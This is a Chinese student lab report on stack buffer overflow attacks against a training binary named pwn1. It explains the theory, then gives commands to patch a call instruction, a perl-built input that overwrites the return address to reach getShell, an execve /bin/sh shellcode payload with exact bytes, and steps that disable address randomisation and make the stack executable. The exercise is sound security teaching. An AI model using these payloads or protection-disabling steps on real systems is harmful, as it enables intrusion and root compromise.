20212907 2021-2022-2 《网络攻防实践》实践九报告

一、实践内容

(1)汇编指令定义
汇编指令是汇编语言中使用的一些操作符和助记符,还包括一些伪指令(如assume,end),汇编指令同机器指令一一对应。每一种CPU都有自己的汇编指令集。计算机是通过执行指令来处理数据的,为了指出数据的来源、操作结果的去向及所执行的操作,一条指令一般包含操作码和操作数两部分。
(2)缓冲区溢出
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。缓冲区就是操作系统为函数执行专门划分出的一段内存,包括栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。其中缓冲区溢出发生在栈里,栈存放了函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量。结构如下:

当函数中对局部变量的赋值超过了为其分配的存储空间,超出的部分就会覆盖栈里其他部分的数据,也就是发生了缓冲区溢出。如下图所示:

如果缓冲区溢出只是导致程序执行出错,那么看起来危害还不是那么大。但如果溢出到返回地址的数据是另一段函数或代码的入口地址,那么这段函数或代码就会被执行,这就是缓冲区溢出漏洞真正的危害所在。如下图。

通过构造溢出数据,将栈里的函数参数修改成要执行的程序代码(如shell),返回地址修改为系统特殊的指令jmpesp的地址,而jmpesp就是跳转到栈寄存器。被攻击程序执行后,首先将执行jmpesp命令,而jmpesp命令会使程序跳转回esp所在位置,而这时esp位置就是函数参数位置(具体原因请参阅堆栈及寄存器相关知识),而函数参数已经被shell代码所覆盖,这样shell就被执行了。如下图:

(3) 缓冲区溢出危害
当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上。

  • 危害有以下两点:
    1、程序崩溃,导致拒绝服务
    2、跳转并且执行一段恶意代码
    原因:造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入。

所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。
当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

(参考:https://blog.csdn.net/qq_35642036/article/details/82809845
https://baijiahao.baidu.com/s?id=1668767940652851301&wfr=spider&for=pc)

二、实践过程

实践任务:
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

1 直接修改程序机器指令,改变程序执行流程

  • 在kali攻击机终端输入命令“objdump -d pwn1”对该文件进行反汇编

  • 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
    main函数:“80484b5: e8 d7 ff ff ff call 8048491 ”,“call 8048491 ”是汇编指令,其含义是调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。main函数调用foo函数的机器指令为“e8 d7 ff ff ff”,想调用getshell函数,只需把“d7 ff ff f”f改为getShell-80484ba对应的补码,47d-ba得到补码为c3 ff ff ff,故main函数调用getshell函数的机器指令为“e8 c3 ff ff ff”。

输入命令:vim pwn1

  • 输入命令“:%! xxd”,将显示模式切换为16进制模式

  • 找到这一行,先点击Ctrl+I进入插入模式,将“e8 d7”改为“e8 c3”。然后点击Esc

  • 输入命令“:%! xxd -r”将十六进制模式改回原格式,保存并退出。

  • 输入:wq保存并退出

  • 再次输入“objdump -d pwn1”命令反汇编,call指令是否正确调用getShell

  • 输入“./pwn1”运行改后的代码,会得到shell提示符#

2 通过构造输入参数,造成BOF攻击,改变程序执行流
2.1 反汇编,了解程序的基本功能

  • 使用未被篡改的源文件pwn1,输入命令“objdump -d pwn1”对该文件进行反汇编。

    利用foo()函数中buffer漏洞,输入足够长的字符串能够造成缓存区溢出,使其覆盖到返回地址。输入足够长的字符串,把原来的返回地址覆盖成现在getshell()的起始地址。
    该可执行文件正常运行要调用foo函数,该函数有Bof漏洞,foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。正常情况下,call调用函数foo会在堆栈上压入返回地址:0x80484ba。

2.2 确认输入字符串哪几个字符会覆盖到返回地址

  • “apt install gdb”安装,输入命令“gdb pwn1”调式程序。

  • 输入“r”,表示运行这个文件,输入有规律的字符串“1111111122222222333333334444444455555555666666”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出。

  • 输入“info r”查看寄存器eip的值,发现输入的后几位的数字覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

2.3 确认用什么值来覆盖返回地址

  • 通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序,是输入“11111111222222223333333344444444\x08\x04\x84\x7d”,还是输入“11111111222222223333333344444444\x7d\x84\x04\x08”。
    对比“eip 0x34333231 0x34333231”,正确输入应为“11111111222222223333333344444444\x7d\x84\x04\x08”。

2.4 构造输入字符串

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

输入xxd input 查看input文件是否符合预期

然后将input的输入,通过管道符“|”,作为pwn1的输入。即输入 (cat input; cat) | ./pwn1 input

3. 注入Shellcode并执行
3.1 准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

3.2 准备工作

具体步骤:

  1. apt-get install execstack //安装execstack命令
  2. execstack -s pwn1 //设置堆栈可执行
  3. execstack -q pwn1 //查询文件的堆栈是否可执行
  4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
  5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

3.3 构造要注入的payload

  • 输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。

  • 在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”,可以看到pwn的进程27495。

  • 用gdb的“attach 27495”命令启动gdb调试这个进程。

  • 用“disassemble foo”命令反汇编,设置断点查看注入buf的内存地址。

  • 输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行

  • 在进程正在运行的终端敲回车,使其继续执行

  • 返回调试终端,输入“返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd50c”

  • 输入“x/16x 0xffffd50c”命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd50c+0x00000004=0xffffd510,所以地址应为0xffffd510。

  • 将之前的\x4\x3\x2\x1改为这个地址0xffffd510即可,用命令perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

  • 用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功

三、学习中遇到的问题及解决

  • 问题1:对pwn1没有执行权限

  • 问题1解决方案:输入命令chmod +x pwn1才有了执行权限

  • 问题2:安装execstack命令时老是失败

  • 问题2解决方案:换了多次下载源才成功

四、实践总结

本次实践作业过程比较繁琐,由于自己对注入攻击的知识还有汇编语言等掌握的不够扎实,所以实验中也出现了一些问题,好在最后得以解决顺利完成试验。本次实验学习和理解了缓冲区溢出攻击的原理以及一些实验操作,还有getShell函数以及注入一个自己制作的shellcode等知识,受益匪浅。

posted @ 2022-05-09 18:36  白桃令  阅读(62)  评论(0编辑  收藏  举报